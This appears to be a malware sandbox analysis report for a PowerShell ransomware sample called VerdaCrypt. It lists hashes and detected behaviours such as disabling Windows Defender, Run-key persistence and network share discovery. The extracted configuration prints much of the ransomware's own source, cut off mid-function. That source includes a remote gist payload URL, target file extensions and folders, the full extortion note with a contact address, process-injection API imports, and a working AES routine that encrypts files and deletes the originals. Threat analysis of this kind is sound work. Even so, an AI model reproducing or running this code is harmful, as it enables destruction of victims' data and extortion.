General

  • Target

    Axtwerfer_VerdacryptV8.ps1

  • Size

    147KB

  • Sample

    250503-jmdb5sfm8w

  • MD5

    9310d5f579aeb4c678c3ce6224928406

  • SHA1

    403d55bf4ca87fcada0002c7c5d80fc89aa46c64

  • SHA256

    c6c85ad66bf796c44d0b8a6dae5de6851a417c6a27b0a442b5da7ada69573b6d

  • SHA512

    bd6c1b5ab0daa819f05f28dbf98f5c78a5289a5730f17ebde3d6c96873d792df2b456a543ee3204c3baadcb1263eecffe40b64ff9114b7afdc7f157f8357405e

  • SSDEEP

    1536:cvqYLtpZqTa0eMSOdh+e2CN6NnNbJo+lbllxtzrk+vJkyEGWT:gLtpZvkEbJoUlXkqNe

Malware Config

Extracted

Path

C:\Windows\System32\LogFiles\DiagTrack73.dat:Heap_56929

Ransom Note
# Script mejorado de Dendrogaster param ( [switch]$HiddenRun = $false, [switch]$FirstRun = $true, # Nuevo par�metro para rastrear ejecuciones iniciales [string]$OperationMode = "Full" # Modos: Full, Persistence, Encryption, Cleanup ) $githubUrl = "https://gist.githubusercontent.com/Midaslore/fccd547ce4b92b30f01b4426c2b1ffd9/raw/d635de987da4f22400be7cb03fe8c5fabad63e1b/Spragmos.ps1" $fileExtensionsToTarget = @( # Documents "*.doc", "*.docx", "*.docm", "*.dot", "*.dotx", "*.odt", "*.rtf", "*.wpd", "*.xls", "*.xlsx", "*.xlsm", "*.xlsb", "*.csv", "*.ods", "*.numbers", "*.ppt", "*.pptx", "*.pptm", "*.ppsm", "*.pot", "*.odp", "*.key", "*.pdf", "*.tex", "*.txt", "*.md", "*.epub", "*.mobi", "*.pages", # Media Files "*.jpg", "*.jpeg", "*.png", "*.bmp", "*.gif", "*.tiff", "*.psd", "*.ai", "*.svg", "*.webp", "*.heic", "*.cr2", "*.nef", "*.arw", "*.indd", "*.eps", "*.mp3", "*.wav", "*.flac", "*.aac", "*.ogg", "*.m4a", "*.wma", "*.mp4", "*.avi", "*.mov", "*.wmv", "*.flv", "*.mkv", "*.mpeg", "*.m4v", "*.webm", # Archives "*.zip", "*.rar", "*.7z", "*.tar", "*.gz", "*.bz2", "*.xz", "*.iso", "*.z", "*.cab", "*.dmg", "*.pkg", "*.lz", "*.lzma", "*.lzh", "*.rpm", "*.deb", # Developer Files "*.ps1", "*.bat", "*.cmd", "*.vbs", "*.js", "*.ts", "*.php", "*.py", "*.rb", "*.java", "*.cpp", "*.cs", "*.swift", "*.go", "*.pl", "*.sh", "*.lua", "*.html", "*.css", "*.scss", "*.xml", "*.json", "*.yml", "*.toml", "*.ini", "*.conf", "*.env", "*.cfg", "*.reg", "*.inf", "*.h", "*.m", "*.kt", "*.dart", # System/Backup Files "*.bak", "*.tmp", "*.old", "*.log", "*.dmp", "*.gho", "*.vhd", "*.vhdx", "*.pst", "*.ost", "*.eml", "*.msg", "*.emlx", "*.oft", "*.bkf", "*.bac", "*.vmdk", "*.vdi", "*.ova", "*.ovf", "*.lnk", "*.url", # Database Files "*.sql", "*.db", "*.mdb", "*.sqlite", "*.accdb", "*.dbf", "*.mdf", "*.ndf", # Specialized Formats "*.cad", "*.dwg", "*.dxf", "*.stl", "*.step", "*.iges", "*.sav", "*.game", "*.slot", "*.minecraft", "*.unitypackage", "*.crdownload", "*.part", "*.torrent", # Fonts & Design "*.ttf", "*.otf", "*.woff", "*.woff2", "*.ps", "*.ai", "*.xd", "*.sketch", # Virtualization & Containers "*.vbox", "*.vmcx", "*.vmx", "*.vagrant", "*.dockerfile", "*.yaml", # Configuration & Templates "*.template", "*.props", "*.settings", "*.config", "*.manifest" ) | Sort-Object -Unique $ransomNoteContent = @" Y O U R D I G I T A L E X I S T E N C E H A S B E E N C O M P R O M I S E D. INTRUSION PROTOCOL: VERDACRYPT - INITIATED. Your critical infrastructure has suffered a catastrophic security event. A sophisticated cryptoviral payload, designated VerdaCrypt, has successfully breached your system�s perimeter and executed a multi-layered encryption cascade. All sensitive data, including but not limited to proprietary documents, personal archives, multimedia assets, and databases, are now rendered cryptographically inert and irretrievable without our intervention. ONTOLOGICAL DILEMMA: DATA SOVEREIGNTY & THE TRANSCENDENCE OF VALUE. Consider this not merely an act of digital extortion, but a stark ontological reassessment of your data's intrinsic worth. In this hyper-connected, late-capitalist paradigm, information is the ultimate commodity. You have operated under the illusion of control, hoarding digital wealth without acknowledging its inherent precarity. We are the catalysts of disruption, forcing a necessary reckoning with the ephemeral nature of digital sovereignty. Your data, now under our dominion, will only regain utility through a transactional exchange � a tribute to its true, albeit previously unacknowledged, value. RECOVERY PROCEDURE: THE PATH TO DIGITAL REBIRTH. While your current digital state is one of enforced entropy, a path to restoration exists. We possess the asymmetric decryption keys necessary to reverse the algorithmic entropy we have imposed. However, access to this vital instrument is contingent upon your adherence to the following directives: 1. SYSTEMIC QUIESCENCE MANDATORY: Cease all unauthorized remediation attempts. Any interference with the encrypted file system may induce irreversible data corruption and invalidate any potential for decryption. Further, any attempts at forensic analysis or network tracing will be met with escalated countermeasures. 2. SECURE CHANNEL ESTABLISHMENT VIA PROTONMAIL: Initiate encrypted communication through the Protonmail platform. Contact us at: `[email protected]`. Utilize a separate, uncompromised device for this communication. 3. FINANCIAL TRANSCENDENCE PROTOCOL: Prepare for a financial exchange commensurate with the value you ascribe to your compromised data. Detailed payment instructions, including the precise Bitcoin (BTC) quantum required for decryption key acquisition, will be provided upon initial contact. Be advised: the value proposition is dynamic and subject to escalation based on temporal delays and perceived resistance. CONSEQUENCES OF NON-COMPLIANCE: DIGITAL OBLITERATION. Failure to adhere to these directives will result in the permanent cryptographic lockdown of your data assets. Furthermore, depending on the perceived recalcitrance and value of the exfiltrated data, we may initiate a phased data dissemination protocol, exposing your proprietary information to public and competitive vectors. Your digital legacy hangs in the balance. VerdaCrypt - Kugutsushi subdivision. "@ $rootFoldersToChaos = @( # User Profile Directories "$env:USERPROFILE\Documents", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Desktop", "$env:USERPROFILE\Pictures", "$env:USERPROFILE\Videos", "$env:USERPROFILE\Music", "$env:USERPROFILE\Saved Games", "$env:USERPROFILE\Favorites", "$env:USERPROFILE\Contacts", "$env:USERPROFILE\Searches", "$env:USERPROFILE\Links", "$env:USERPROFILE\3D Objects", "$env:USERPROFILE\Source", "$env:USERPROFILE\Projects", "$env:USERPROFILE\Workspaces", "$env:USERPROFILE\Outlook Files", # Cloud Storage Locations "$env:USERPROFILE\OneDrive", "$env:USERPROFILE\Dropbox", "$env:USERPROFILE\Google Drive", "$env:USERPROFILE\Creative Cloud Files", "$env:USERPROFILE\Box Sync", "$env:USERPROFILE\iCloudDrive", "$env:USERPROFILE\Nextcloud", # Application Data Locations "$env:APPDATA", "$env:LOCALAPPDATA", "$env:APPDATA\..\LocalLow", "$env:APPDATA\Microsoft\Windows\Recent", "$env:APPDATA\Adobe", "$env:APPDATA\Microsoft\Word", "$env:APPDATA\Microsoft\Excel", "$env:APPDATA\Microsoft\PowerPoint", "$env:APPDATA\Mozilla\Firefox\Profiles", "$env:LOCALAPPDATA\Google\Chrome\User Data\Default", # Development Environments "$env:USERPROFILE\Eclipse", "$env:USERPROFILE\VSCode", "$env:USERPROFILE\WebStormProjects", "$env:USERPROFILE\PyCharmProjects", "$env:USERPROFILE\AndroidStudioProjects", "$env:USERPROFILE\Blender Projects", "$env:USERPROFILE\Unity Projects", # System Directories (requires admin) "C:\ProgramData", "$env:SYSTEMDRIVE\Temp", "$env:SYSTEMROOT\Temp", "C:\Windows\Logs", # Network/Shared Locations "$env:USERPROFILE\Network", "\\NAS\HomeDrive", # Example network path "\\Fileserver\DepartmentShare" # Example shared location ) # --- M�DULOS INCLUIDOS --- $Modules = @{ "Core" = $true "Persistence" = $true "Encryption" = $true "AntiDetection" = $true "Propagation" = $true "PayloadDelivery" = $true } # --- CONFIGURACI�N MEJORADA --- $Config = @{ "EncryptionKey" = "ThisIsASecretKey123!" "SafeMode" = $false "MaxRetries" = 3 "MinDelaySeconds" = 1 "MaxDelaySeconds" = 2 "TargetProcesses" = @("svchost.exe", "explorer.exe", "winlogon.exe") "ServiceNames" = @("WindowsUpdateMonitor", "NetworkLocationProvider") "PersistenceMethods" = @("Registry", "ScheduledTask", "WMI", "WNF") } # --- BIBLIOTECAS NATIVAS Y M�DULOS --- Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; public static class NativeMethods { // Process Injection [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref IntPtr lpThreadId); // Memory Protection [DllImport("kernel32.dll")] public static extern bool SetProcessWorkingSetSize(IntPtr proc, int min, int max); // WNF Operations [DllImport("ntdll.dll")] public static extern uint NtUpdateWnfStateData(ref ulong StateName, IntPtr Buffer, int Length, IntPtr TypeId, IntPtr Scope, int MatchingChangeStamp, int CheckStamp); // Security Features [DllImport("advapi32.dll", SetLastError = true)] public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); public struct TOKEN_PRIVILEGES { public uint PrivilegeCount; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] public LUID_AND_ATTRIBUTES[] Privileges; } public struct LUID_AND_ATTRIBUTES { public LUID Luid; public uint Attributes; } public struct LUID { public uint LowPart; public int HighPart; } // AES Encryption Helper public static byte[] EncryptData(byte[] data, byte[] key, byte[] iv) { using (Aes aes = Aes.Create()) { aes.Key = key; aes.IV = iv; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (var encryptor = aes.CreateEncryptor()) using (var ms = new System.IO.MemoryStream()) { using (var cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) { cs.Write(data, 0, data.Length); cs.FlushFinalBlock(); } return ms.ToArray(); } } } } "@ # --- SISTEMA DE REGISTRO AVANZADO --- function Write-Log { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [string]$Message, [Parameter()] [ValidateSet("Info", "Warning", "Error", "Success", "Debug")] [string]$Level = "Info", [Parameter()] [string]$FilePath = "$env:TEMP\operations.log", [Parameter()] [switch]$NoConsole, [Parameter()] [switch]$NoFile ) $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $logEntry = "[$timestamp] [$Level] $Message" # Protecci�n de memoria y encriptaci�n del log si es posible if (-not $NoFile -and (Test-Path ([System.IO.Path]::GetDirectoryName($FilePath)))) { try { $encryptedEntry = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($logEntry)) Add-Content -Path $FilePath -Value $encryptedEntry -ErrorAction SilentlyContinue } catch {} } if (-not $NoConsole -and ($DebugMode -or $Level -eq "Error")) { switch ($Level) { "Info" { Write-Host $logEntry -ForegroundColor Gray } "Warning" { Write-Host $logEntry -ForegroundColor Yellow } "Error" { Write-Host $logEntry -ForegroundColor Red } "Success" { Write-Host $logEntry -ForegroundColor Green } "Debug" { Write-Host $logEntry -ForegroundColor Cyan } } } } # --- SISTEMA DE CONTROL DE EJECUCI�N --- function Test-AlreadyRunning { $processName = "powershell" $currentPid = $PID $currentScriptPath = $PSCommandPath # Usar la ruta completa del script actual if (-not $currentScriptPath) { Write-Log "No se pudo determinar la ruta del script actual para Test-AlreadyRunning." -Level "Warning" return $false # No se puede comprobar fiablemente } # Intentar hacer coincidir la ruta completa del script en la l�nea de comandos $count = (Get-WmiObject Win32_Process -Filter "Name = '$processName.exe'" -ErrorAction SilentlyContinue | Where-Object { $_.CommandLine -like "*$currentScriptPath*" -and $_.ProcessId -ne $currentPid }).Count return $count -gt 0 } # --- M�DULO DE ENCRIPTACI�N OPTIMIZADO --- function Invoke-FileEncryption { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [array]$Extensions, [Parameter(Mandatory=$true)] [array]$Folders, [Parameter()] [string]$Key = $Config.EncryptionKey, [Parameter()] [string]$FileExtension = ".verdant", [Parameter()] [int]$BatchSize = 20, [Parameter()] [switch]$Parallel ) Write-Log "Iniciando cifrado de archivos" -Level "Info" # Preparaci�n de criptograf�a $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key) $sha256 = [System.Security.Cryptography.SHA256]::Create() $aesKey = $sha256.ComputeHash($keyBytes) # Generar IV consistente basado en clave $ivKey = $Key + "IV" $ivBytes = [System.Text.Encoding]::UTF8.GetBytes($ivKey) $sha1 = [System.Security.Cryptography.SHA1]::Create() $aesIV = ($sha1.ComputeHash($ivBytes))[0..15] # Funci�n de cifrado optimizada $encryptFunction = { param($filePath, $aesKey, $aesIV, $fileExtension) try { # Verificar si el archivo est� en uso $inUse = $false try { $fileStream = [IO.File]::Open($filePath, 'Open', 'Read', 'None') $fileStream.Close() $fileStream.Dispose() } catch { $inUse = $true } if ($inUse) { return $false } # Leer contenido y cifrar $fileContent = [IO.File]::ReadAllBytes($filePath) $encryptedContent = [NativeMethods]::EncryptData($fileContent, $aesKey, $aesIV) # Escribir en el nuevo nombre de archivo y eliminar el original $newFilePath = "$($filePath)$fileExtension" try { [IO.File]::WriteAllBytes($newFilePath, $encryptedContent) # Escribir directamente al nuevo nombre con la extensi�n .verdant Remove-Item -Path $filePath -Force -ErrorAction Stop # Eliminar el archivo original (ej. .docx) Write-Log "Archivo cifrado y renombrado: $newFilePath" -Level Debug # Log de �xito (opcional pero �til) return $true # Indicar �xito } catch { # Si algo falla (escritura o eliminaci�n) Write-Log "Error escribiendo/eliminando $filePath -> $newFilePath : $_" -Level Debug # Registrar el error # Intento de limpieza: Si el archivo nuevo se cre� pero el original no se borr�, eliminar el nuevo para evitar duplicados corruptos. if (Test-Path $newFilePath -PathType Leaf) { Remove-Item -Path $newFilePath -Force -ErrorAction SilentlyContinue } return $false # Indicar fallo } } catch { # Este catch externo es para errores ANTES del bloque try/catch de escritura/eliminaci�n # (Ej: error en ReadAllBytes o EncryptData) Write-Log "Error procesando $filePath ANTES de escribir/renombrar: $_" -Level Debug return $false } } # Procesamiento de archivos (con soporte para paralelo si se solicita) $filesEncrypted = 0 $filesFailed =

Targets

    • Target

      Axtwerfer_VerdacryptV8.ps1

    • Size

      147KB

    • MD5

      9310d5f579aeb4c678c3ce6224928406

    • SHA1

      403d55bf4ca87fcada0002c7c5d80fc89aa46c64

    • SHA256

      c6c85ad66bf796c44d0b8a6dae5de6851a417c6a27b0a442b5da7ada69573b6d

    • SHA512

      bd6c1b5ab0daa819f05f28dbf98f5c78a5289a5730f17ebde3d6c96873d792df2b456a543ee3204c3baadcb1263eecffe40b64ff9114b7afdc7f157f8357405e

    • SSDEEP

      1536:cvqYLtpZqTa0eMSOdh+e2CN6NnNbJo+lbllxtzrk+vJkyEGWT:gLtpZvkEbJoUlXkqNe

    • Contains code to disable Windows Defender

      A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Creates new service(s)

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Drops startup file

    • Adds Run key to start application

    • Hide Artifacts: Hidden Window

      Windows that would typically be displayed when an application carries out an operation can be hidden.

    • Network Share Discovery

      Attempt to gather information on host network.

MITRE ATT&CK Enterprise v16

Tasks